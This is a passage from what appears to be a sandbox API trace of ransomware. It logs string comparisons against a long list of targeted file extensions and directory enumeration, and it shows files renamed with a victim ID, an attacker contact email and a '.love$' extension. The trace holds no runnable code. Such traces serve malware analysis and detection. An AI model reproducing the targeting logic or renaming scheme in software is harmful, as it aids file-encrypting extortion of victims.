-1 [0100.353] lstrlenW (lpString=".cfu") returned 4 [0100.353] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".chm") returned 4 [0100.353] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".cin") returned 4 [0100.353] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".class") returned 6 [0100.353] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.353] lstrlenW (lpString=".clx") returned 4 [0100.353] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".config") returned 7 [0100.353] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.353] lstrlenW (lpString=".cpp") returned 4 [0100.353] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".cr2") returned 4 [0100.353] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".crt") returned 4 [0100.353] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.353] lstrlenW (lpString=".crw") returned 4 [0100.355] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".cs") returned 3 [0100.355] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.355] lstrlenW (lpString=".css") returned 4 [0100.355] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".csv") returned 4 [0100.355] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".cub") returned 4 [0100.355] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".dae") returned 4 [0100.355] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".dat") returned 4 [0100.355] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".db") returned 3 [0100.355] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.355] lstrlenW (lpString=".dbf") returned 4 [0100.355] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".dbx") returned 4 [0100.355] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".dc3") returned 4 [0100.355] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".dcm") returned 4 [0100.355] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.355] lstrlenW (lpString=".dcr") returned 4 [0100.356] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".der") returned 4 [0100.356] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".dib") returned 4 [0100.356] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".dic") returned 4 [0100.356] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".dif") returned 4 [0100.356] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".divx") returned 5 [0100.356] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.356] lstrlenW (lpString=".djvu") returned 5 [0100.356] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.356] lstrlenW (lpString=".dng") returned 4 [0100.356] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".doc") returned 4 [0100.356] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".docm") returned 5 [0100.356] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.356] lstrlenW (lpString=".docx") returned 5 [0100.356] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.356] lstrlenW (lpString=".dot") returned 4 [0100.356] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.356] lstrlenW (lpString=".dotm") returned 5 [0100.356] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.356] lstrlenW (lpString=".dotx") returned 5 [0100.356] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.357] lstrlenW (lpString=".dpx") returned 4 [0100.357] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".dqy") returned 4 [0100.357] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".dsn") returned 4 [0100.357] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".dt") returned 3 [0100.357] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.357] lstrlenW (lpString=".dtd") returned 4 [0100.357] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".dwg") returned 4 [0100.357] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".dwt") returned 4 [0100.357] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".dx") returned 3 [0100.357] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.357] lstrlenW (lpString=".dxf") returned 4 [0100.357] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".edml") returned 5 [0100.357] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.357] lstrlenW (lpString=".efd") returned 4 [0100.357] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".elf") returned 4 [0100.357] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".emf") returned 4 [0100.357] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".emz") returned 4 [0100.357] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.357] lstrlenW (lpString=".epf") returned 4 [0100.358] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".eps") returned 4 [0100.358] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".epsf") returned 5 [0100.358] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.358] lstrlenW (lpString=".epsp") returned 5 [0100.358] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.358] lstrlenW (lpString=".erf") returned 4 [0100.358] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".exr") returned 4 [0100.358] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".f4v") returned 4 [0100.358] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".fido") returned 5 [0100.358] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.358] lstrlenW (lpString=".flm") returned 4 [0100.358] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".flv") returned 4 [0100.358] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".frm") returned 4 [0100.358] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".fxg") returned 4 [0100.358] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".geo") returned 4 [0100.358] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".gif") returned 4 [0100.358] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.358] lstrlenW (lpString=".grs") returned 4 [0100.359] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".gz") returned 3 [0100.359] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.359] lstrlenW (lpString=".h") returned 2 [0100.359] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.359] lstrlenW (lpString=".hdr") returned 4 [0100.359] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".hpp") returned 4 [0100.359] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".hta") returned 4 [0100.359] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".htc") returned 4 [0100.359] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".htm") returned 4 [0100.359] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".html") returned 5 [0100.359] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.359] lstrlenW (lpString=".icb") returned 4 [0100.359] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".ics") returned 4 [0100.359] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".iff") returned 4 [0100.359] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".inc") returned 4 [0100.359] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.359] lstrlenW (lpString=".indd") returned 5 [0100.359] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.359] lstrlenW (lpString=".ini") returned 4 [0100.360] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".iqy") returned 4 [0100.360] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".j2c") returned 4 [0100.360] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".j2k") returned 4 [0100.360] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".java") returned 5 [0100.360] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.360] lstrlenW (lpString=".jp2") returned 4 [0100.360] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".jpc") returned 4 [0100.360] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".jpe") returned 4 [0100.360] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".jpeg") returned 5 [0100.360] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.360] lstrlenW (lpString=".jpf") returned 4 [0100.360] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".jpg") returned 4 [0100.360] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".jpx") returned 4 [0100.360] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".js") returned 3 [0100.360] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.360] lstrlenW (lpString=".jsf") returned 4 [0100.360] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.360] lstrlenW (lpString=".json") returned 5 [0100.361] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.361] lstrlenW (lpString=".jsp") returned 4 [0100.361] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".kdc") returned 4 [0100.361] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".kmz") returned 4 [0100.361] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".kwm") returned 4 [0100.361] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".lasso") returned 6 [0100.361] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.361] lstrlenW (lpString=".lbi") returned 4 [0100.361] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".lgf") returned 4 [0100.361] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".lgp") returned 4 [0100.361] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".log") returned 4 [0100.361] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".m1v") returned 4 [0100.361] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".m4a") returned 4 [0100.361] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".m4v") returned 4 [0100.361] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".max") returned 4 [0100.361] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.361] lstrlenW (lpString=".md") returned 3 [0100.362] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.362] lstrlenW (lpString=".mda") returned 4 [0100.362] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mdb") returned 4 [0100.362] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mde") returned 4 [0100.362] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mdf") returned 4 [0100.362] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mdw") returned 4 [0100.362] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mef") returned 4 [0100.362] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mft") returned 4 [0100.362] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mfw") returned 4 [0100.362] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mht") returned 4 [0100.362] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mhtml") returned 6 [0100.362] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.362] lstrlenW (lpString=".mka") returned 4 [0100.362] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mkidx") returned 6 [0100.362] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.362] lstrlenW (lpString=".mkv") returned 4 [0100.362] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.362] lstrlenW (lpString=".mos") returned 4 [0100.363] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mov") returned 4 [0100.363] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mp3") returned 4 [0100.363] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mp4") returned 4 [0100.363] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mpeg") returned 5 [0100.363] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.363] lstrlenW (lpString=".mpg") returned 4 [0100.363] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mpv") returned 4 [0100.363] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mrw") returned 4 [0100.363] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".msg") returned 4 [0100.363] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".mxl") returned 4 [0100.363] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".myd") returned 4 [0100.363] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".myi") returned 4 [0100.363] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".nef") returned 4 [0100.363] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.363] lstrlenW (lpString=".nrw") returned 4 [0100.363] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".obj") returned 4 [0100.364] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".odb") returned 4 [0100.364] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".odc") returned 4 [0100.364] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".odm") returned 4 [0100.364] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".odp") returned 4 [0100.364] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".ods") returned 4 [0100.364] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".oft") returned 4 [0100.364] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".one") returned 4 [0100.364] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".onepkg") returned 7 [0100.364] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.364] lstrlenW (lpString=".onetoc2") returned 8 [0100.364] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.364] lstrlenW (lpString=".opt") returned 4 [0100.364] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".oqy") returned 4 [0100.364] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".orf") returned 4 [0100.364] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.364] lstrlenW (lpString=".p12") returned 4 [0100.365] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".p7b") returned 4 [0100.365] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".p7c") returned 4 [0100.365] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pam") returned 4 [0100.365] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pbm") returned 4 [0100.365] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pct") returned 4 [0100.365] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pcx") returned 4 [0100.365] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pdd") returned 4 [0100.365] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pdf") returned 4 [0100.365] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pdp") returned 4 [0100.365] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pef") returned 4 [0100.365] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pem") returned 4 [0100.365] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pff") returned 4 [0100.365] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pfm") returned 4 [0100.365] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.365] lstrlenW (lpString=".pfx") returned 4 [0100.366] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".pgm") returned 4 [0100.366] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".php") returned 4 [0100.366] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".php3") returned 5 [0100.366] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.366] lstrlenW (lpString=".php4") returned 5 [0100.366] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.366] lstrlenW (lpString=".php5") returned 5 [0100.366] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.366] lstrlenW (lpString=".phtml") returned 6 [0100.366] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.366] lstrlenW (lpString=".pict") returned 5 [0100.366] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.366] lstrlenW (lpString=".pl") returned 3 [0100.366] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.366] lstrlenW (lpString=".pls") returned 4 [0100.366] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".pm") returned 3 [0100.366] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.366] lstrlenW (lpString=".png") returned 4 [0100.366] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".pnm") returned 4 [0100.366] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".pot") returned 4 [0100.366] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.366] lstrlenW (lpString=".potm") returned 5 [0100.367] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.367] lstrlenW (lpString=".potx") returned 5 [0100.367] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.367] lstrlenW (lpString=".ppa") returned 4 [0100.367] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.367] lstrlenW (lpString=".ppam") returned 5 [0100.367] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.367] lstrlenW (lpString=".ppm") returned 4 [0100.367] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.367] lstrlenW (lpString=".pps") returned 4 [0100.367] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.367] lstrlenW (lpString=".ppsm") returned 5 [0100.367] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.367] lstrlenW (lpString=".ppt") returned 4 [0100.367] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.367] lstrlenW (lpString=".pptm") returned 5 [0100.367] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.367] lstrlenW (lpString=".pptx") returned 5 [0100.367] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.367] lstrlenW (lpString=".prn") returned 4 [0100.367] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.367] lstrlenW (lpString=".ps") returned 3 [0100.367] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.367] lstrlenW (lpString=".psb") returned 4 [0100.367] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.367] lstrlenW (lpString=".psd") returned 4 [0100.367] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".pst") returned 4 [0100.368] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".ptx") returned 4 [0100.368] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".pub") returned 4 [0100.368] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".pwm") returned 4 [0100.368] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".pxr") returned 4 [0100.368] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".py") returned 3 [0100.368] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.368] lstrlenW (lpString=".qt") returned 3 [0100.368] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.368] lstrlenW (lpString=".r3d") returned 4 [0100.368] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".raf") returned 4 [0100.368] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.368] lstrlenW (lpString=".rar") returned 4 [0100.368] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.368] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.369] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0100.369] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0100.664] FindClose (in: hFindFile=0x3e50240 | out: hFindFile=0x3e50240) returned 1 [0100.666] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0100.666] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0100.666] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0100.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0100.667] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.668] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, 